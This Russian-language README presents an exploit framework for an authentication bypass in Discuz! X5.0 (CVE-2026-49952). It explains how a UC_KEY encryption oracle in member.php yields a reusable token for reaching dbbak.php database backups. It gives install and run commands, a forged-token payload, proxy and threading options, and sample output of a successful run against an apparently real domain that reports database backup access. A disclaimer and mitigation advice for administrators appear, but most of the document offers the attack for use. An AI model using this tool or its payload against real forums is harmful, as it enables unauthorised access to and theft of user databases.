Фреймворк эксплуатации обхода аутентификации Discuz! X5.0

⚡ CVE-2026-49952 | CVSS 9.1 (Критический ) | Версия 1.0.0

Профессиональный инструмент для тестирования на проникновение, предназначенный для выявления и демонстрации критической уязвимости обхода аутентификации в Discuz! X5.0.

📋 Содержание

• ⚠️ Отказ от ответственности

• 🔍 Обзор

• 🎯 Детали уязвимости

• ✨ Возможности

• 📦 Установка

• 🚀 Быстрый старт

• 💻 Примеры использования

• 🖥️ Интерактивная оболочка

• 🛡️ Вопросы безопасности

• 🔧 Устранение неполадок

• 📄 Лицензия

⚠️ Отказ от ответственности

ВАЖНОЕ УВЕДОМЛЕНИЕЭтот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.НЕ ИСПОЛЬЗУЙТЕ этот инструмент на системах, которыми вы не владеете или для тестирования которых у вас нет явного разрешения.Несанкционированный доступ к компьютерным системам незаконен и неэтичен.Автор не несёт ответственности за любое неправильное использование или ущерб, причинённый данным инструментом.Используя этот инструмент, вы соглашаетесь соблюдать все применимые законы и нормативные акты.

🔍 Обзор

Фреймворк эксплуатации обхода аутентификации Discuz! X5.0 предназначен для выявления и демонстрации критической уязвимости обхода аутентификации (CVE-2026-49952) в версиях Discuz! X5.0, выпущенных в период с 20 марта 2026 года по 1 мая 2026 года.

Эта уязвимость позволяет неаутентифицированным злоумышленникам получить доступ к функции резервного копирования базы данных (dbbak.php) путём эксплуатации оракула шифрования UC_KEY для повторного использования токена, что потенциально может привести к раскрытию конфиденциального содержимого базы данных.

Ключевые моменты

• 🏆 Оценка CVSS: 9.1 (Критический)

• 🔐 Воздействие: Обход аутентификации

• 📂 Доступ: Файлы резервных копий базы данных

• ⚡ Сложность: Низкая (легко эксплуатируется)

• 🎯 Цель: Discuz! X5.0 (20260320 - 20260501)

🎯 Детали уязвимости

Техническое описание

Первопричина

Уязвимость присутствует в конечной точке dbbak.php, где механизм проверки токена полагается на оракул шифрования UC_KEY. Создав специальную полезную нагрузку в запросе входа в систему (member.php), злоумышленник может получить действительный токен аутентификации, который можно повторно использовать для доступа к функции резервного копирования базы данных без надлежащей авторизации.

Затронутые версии

• ❌ Discuz! X5.0 (20260320 - 20260501) - уязвима

• ✅ Discuz! X5.0 (20260510+) - исправлена

✨ Возможности

Основные возможности

• 🔍 Определение версии: автоматическое распознавание отпечатков и идентификация версии Discuz!.

• ⚡ Многовариантная атака: параллельное тестирование нескольких вариантов полезной нагрузки.

• 🖥️ Интерактивная оболочка: полнофункциональный интерфейс командной строки для ручной эксплуатации.

• 🚀 Автоматическая эксплуатация: эксплуатация в один клик с минимальной настройкой.

• 📊 Сохранение результатов: экспорт результатов эксплуатации в файлы с временными метками.

• 🌐 Поддержка прокси: настройка HTTP/HTTPS прокси для сетевого доступа.

• 🎯 Многопоточное сканирование: настраиваемое количество потоков для оптимизации производительности.

• 🎨 Цветной вывод: профессиональный цветной вывод в терминале.

Дополнительные возможности

• 🔐 Поддержка SSL/TLS: работа с целями как по HTTP, так и по HTTPS.

• 🔄 Управление сеансами: поддержание постоянного состояния сеанса.

• 📦 Настройка полезной нагрузки: поддержка внедрения пользовательской полезной нагрузки.

• 🎯 Проверка цели: проверка установки Discuz! перед эксплуатацией.

📦 Установка

Предварительные требования

• Python: версия 3.7 или выше

• Pip: менеджер пакетов Python

Установка из исходного кода

# Clone the repository
git clone https://github.com/CerberusMrXi/Discuz-X5.0-Authentication-Bypass-Exploit-Framework
cd Discuz-X5.0-Authentication-Bypass-Exploit-Framework

# Install required packages
pip install -r requirements.txt

# Verify installation
python3 exploit.py --help

Установка через Docker

# Build the Docker image
docker build -t exploit .

# Run the container
docker run -it --rm exploit http://target.com

🚀 Быстрый старт

Базовое использование

# Simple exploitation
python3 exploit.py http://target.com

# With output file
python3 exploit.py http://target.com --output results.txt

# Verbose mode for debugging
python3 exploit.py http://target.com --verbose

Расширенное использование

# With proxy and custom threads
python3 exploit.py https://target.com --proxy http://127.0.0.1:8080 --threads 10

# Custom payload
python3 exploit.py http://target.com --payload "admin|1|0|0"

💻 Примеры использования

Пример 1: Базовая эксплуатация

python3 exploit.py http://discuz.eda.com.my

██████╗ ██╗███████╗██╗   ██╗███████╗███████╗██████╗ 
██╔══██╗██║██╔════╝██║   ██║╚══███╔╝╚══███╔╝╚════██╗
██║  ██║██║███████╗██║   ██║  ███╔╝  ███╔╝  █████╔╝
██║  ██║██║╚════██║██║   ██║ ███╔╝  ███╔╝  ██╔═══╝ 
██████╔╝██║███████║╚██████╔╝███████╗███████╗███████╗
╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝

Discuz! X5.0 Authentication Bypass Exploit Framework
CVE-2026-49952 | CVSS: 9.1 (Critical )
Author: Sudeepa Wanigarathna | Version: 1.0.0
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[14:32:15] ► Phase 1: Target Reconnaissance
[14:32:15] ➜ Testing connectivity to http://discuz.eda.com.my
[14:32:16] ➜ Detecting Discuz! version...
[14:32:16] ✔ Discuz! Version: X5.0
[14:32:16] ⚡ Target is running a vulnerable version!
[14:32:16] ► Phase 2: Authcode Acquisition
[14:32:16] ➜ Extracting authcode with payload: admin|1|0|0
[14:32:17] ✔ Authcode: aBcDeFgHiJkLmNoPqRsT...
[14:32:17] ► Phase 3: Exploitation
[14:32:17] ➜ Executing exploit (operation: backup )
[14:32:18] ✔ Exploit successful!
[14:32:18] ✔ Results saved to discuz_exploit_20260724_143218.txt

╔══════════════════════════════════════════════════════════╗
║  EXPLOIT SUCCESSFUL                                      ║
╠══════════════════════════════════════════════════════════╣
║  Target: http://discuz.eda.com.my                        ║
║  Authcode: aBcDeFgHiJkLmNoPqRsT...                       ║
║  Status: Database backup accessed                        ║
║  Data Size: 24567 bytes                                  ║
║  Saved to: discuz_exploit_20260724_143218.txt            ║
╚══════════════════════════════════════════════════════════╝

🖥️ Интерактивная оболочка

Запустите интерактивную оболочку для ручной эксплуатации:

python3 discuz_exploit.py http://target.com --interactive

Доступные команды

🛡️ Вопросы безопасности

✅ Что следует делать

• Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение.

• Получите письменное разрешение перед тестированием.

• Следуйте практике ответственного раскрытия уязвимостей.

• Сообщайте об уязвимостях производителям надлежащим образом.

• Используйте в изолированных лабораторных средах для обучения.

❌ Чего не следует делать

• Никогда не используйте против производственных систем без разрешения.

• Не публикуйте полученные данные в открытом доступе.

• Никогда не используйте для незаконной деятельности или кражи данных.

• Не изменяйте и не удаляйте данные во время тестирования.

• Никогда не проводите эксплуатацию без согласия.

Рекомендации по снижению риска

Для системных администраторов:

1. Немедленно обновитесь: обновитесь до Discuz! X5.0 (20260510+) или более поздней версии.

2. Отключите конечную точку: временно отключите dbbak.php, если в ней нет необходимости.

3. Следите за журналами: отслеживайте подозрительные обращения к member.php и dbbak.php.

4. Правила WAF: внедрите правила Web Application Firewall для блокировки вредоносных запросов.

5. Белый список IP: ограничьте доступ к конечной точке резервного копирования доверенными IP-адресами.

🔧 Устранение неполадок

Error: Failed to connect to target

Solutions:
• Check if target URL is correct
• Verify network connectivity
• Check for firewalls blocking access
• Try with proxy: --proxy http://your_proxy:port
• Ensure target is online and accessible

Error: Authentication failed or invalid authcode

Solutions:
• Ensure the target Discuz! version is vulnerable
• Try different payloads for authcode extraction
• Check for network issues or WAF interference
• Run in verbose mode (--verbose ) for more details

📄 Лицензия

Этот проект лицензирован в соответствии с лицензией MIT.

Copyright © 2026 Sudeepa Wanigarathna

Настоящим предоставляется бесплатное разрешение любому лицу, получившему копию данного программного обеспечения и связанных файлов документации (далее — «Программное обеспечение»), использовать Программное обеспечение без ограничений, включая, без ограничений, права использовать, копировать, изменять, объединять, публиковать, распространять, сублицензировать и/или продавать копии Программного обеспечения, а также разрешать лицам, которым предоставлено Программное обеспечение, делать это при соблюдении следующих условий:

Вышеуказанное уведомление об авторских правах и данное разрешение должны быть включены во все копии или значительные части Программного обеспечения.

ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, СООТВЕТСТВИЯ КОНКРЕТНОМУ НАЗНАЧЕНИЮ И ОТСУТСТВИЯ НАРУШЕНИЯ ПРАВ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПО КАКИМ-ЛИБО ИСКАМ, УБЫТКАМ ИЛИ ИНОЙ ОТВЕТСТВЕННОСТИ, БУДЬ ТО В СИЛУ ДОГОВОРА, ДЕЛИКТА ИЛИ ИНЫМ ОБРАЗОМ, ВОЗНИКШИМ ИЗ ИЛИ В СВЯЗИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ ИЛИ ЕГО ИСПОЛЬЗОВАНИЕМ ИЛИ ИНЫМИ ДЕЙСТВИЯМИ С НИМ.